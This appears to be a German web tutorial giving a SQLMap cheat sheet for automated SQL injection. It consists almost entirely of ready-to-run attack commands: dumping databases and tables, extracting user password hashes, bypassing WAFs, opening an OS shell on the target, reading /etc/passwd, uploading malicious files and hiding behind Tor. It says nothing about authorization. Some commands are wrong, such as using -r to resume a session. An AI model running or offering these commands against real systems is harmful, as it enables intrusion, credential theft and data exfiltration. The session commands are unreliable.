Heim >Backend-Entwicklung >Python-Tutorial >SQLMap-Spickzettel: Eine Kurzanleitung für die automatisierte SQL-Injection
Autor: Trix Cyrus
Was ist SQLMap?
SQLMap ist ein Open-Source-Penetrationstest-Tool zum Erkennen und Ausnutzen von SQL-Injection-Schwachstellen in Webanwendungen. Es unterstützt verschiedene Datenbanksysteme wie MySQL, PostgreSQL, Oracle, Microsoft SQL Server und mehr.
Grundlegende Verwendung
Um mit SQLMap zu beginnen, können Sie es in seiner einfachsten Form ausführen, indem Sie die Ziel-URL angeben:
sqlmap -u "http://example.com/index.php?id=1"
Dieser Befehl scannt die Ziel-URL auf SQL-Injection-Schwachstellen.
1. Schwachstellen erkennen
Verwenden Sie die folgenden Optionen, um einen grundlegenden Schwachstellenscan durchzuführen und SQL-Injection-Punkte automatisch zu erkennen:
sqlmap -u "http://example.com/index.php?id=1" --dbs
--dbs: Listet alle verfügbaren Datenbanken auf dem Zielserver auf, wenn eine Schwachstelle gefunden wird.
2. POST-Anfragen angeben
Für Ziele, die eine POST-Anfrage erfordern (normalerweise in Anmeldeformularen), können Sie die Daten wie folgt angeben:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
3. WAFs und Filter umgehen
Um Web Application Firewalls (WAFs) zu umgehen, enthält SQLMap Nutzlast-Verschleierungstechniken:
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
--tamper: Verwendet Manipulationsskripte, um Filter zu umgehen. Beispiel: space2comment, charencode.
4. Extrahieren von Datenbanken, Tabellen und Spalten
So erhalten Sie eine Liste der Datenbanken auf dem Zielsystem:
sqlmap -u "http://example.com/index.php?id=1" --dbs
Sobald eine Datenbank identifiziert ist, extrahieren Sie ihre Tabellen:
sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
So rufen Sie Spalten aus einer bestimmten Tabelle ab:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns
5. Daten ausgeben
Das Dumpen des Inhalts einer Tabelle ist eine der nützlichsten Funktionen von SQLMap. Um beispielsweise alle Daten aus einer bestimmten Tabelle zu sichern:
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
6. Auflisten von Datenbankbenutzern und Passwörtern
SQLMap kann auch zum Auflisten von Datenbankbenutzern und sogar zum Knacken gehashter Passwörter verwendet werden:
sqlmap -u "http://example.com/index.php?id=1" --users sqlmap -u "http://example.com/index.php?id=1" --passwords
7. Zugriff auf das Betriebssystem
In einigen Fällen kann SQLMap zum Ausführen von Befehlen auf dem Betriebssystem verwendet werden, insbesondere wenn der Datenbankbenutzer über hohe Berechtigungen verfügt:
sqlmap -u "http://example.com/index.php?id=1" --os-shell
Dadurch wird eine interaktive Shell bereitgestellt, in der Sie Befehle auf dem Zielsystem ausführen können.
8. Hochladen und Lesen von Dateien
Sie können auch Dateien vom Zielsystem lesen oder schädliche Dateien hochladen (falls zulässig):
sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
9. Verwendung von Tor für Anonymität
Um Ihre Identität zu verbergen, können Sie SQLMap über das Tor-Netzwerk ausführen:
sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor
--tor: Aktiviert Tor.
--check-tor: Überprüft, ob die Verbindung über Tor hergestellt wird.
10. Speichern und Fortsetzen von Sitzungen
SQLMap ermöglicht Ihnen das Speichern und Fortsetzen Ihres Fortschritts mithilfe der Option --session:
sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
Später können Sie dieselbe Sitzung fortsetzen, indem Sie:
sqlmap -r your_session_name
11. Ausführlicher Modus
Um detaillierte Informationen darüber anzuzeigen, was SQLMap tut:
sqlmap -u "http://example.com/index.php?id=1" -v 3
Die Option -v steuert die Ausführlichkeit (Stufen von 0 bis 6, wobei 6 alle Details anzeigt).
SQLMap unterstützt das Scannen mehrerer in einer Datei gespeicherter URLs:
sqlmap -m urls.txt --batch
--batch: Alle Eingabeaufforderungen automatisch mit Standardoptionen beantworten, nützlich für automatisiertes Scannen.
Verwenden Sie auch --risk=3 und --level=5, um den Scanvorgang voranzutreiben
Sie können diesen Spickzettel verwenden, um Leser mit den wesentlichen Befehlen von SQLMap vertraut zu machen und ihnen den Einstieg in das SQL-Injection-Testen zu erleichtern.
~TrixSec
Das obige ist der detaillierte Inhalt vonSQLMap-Spickzettel: Eine Kurzanleitung für die automatisierte SQL-Injection. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!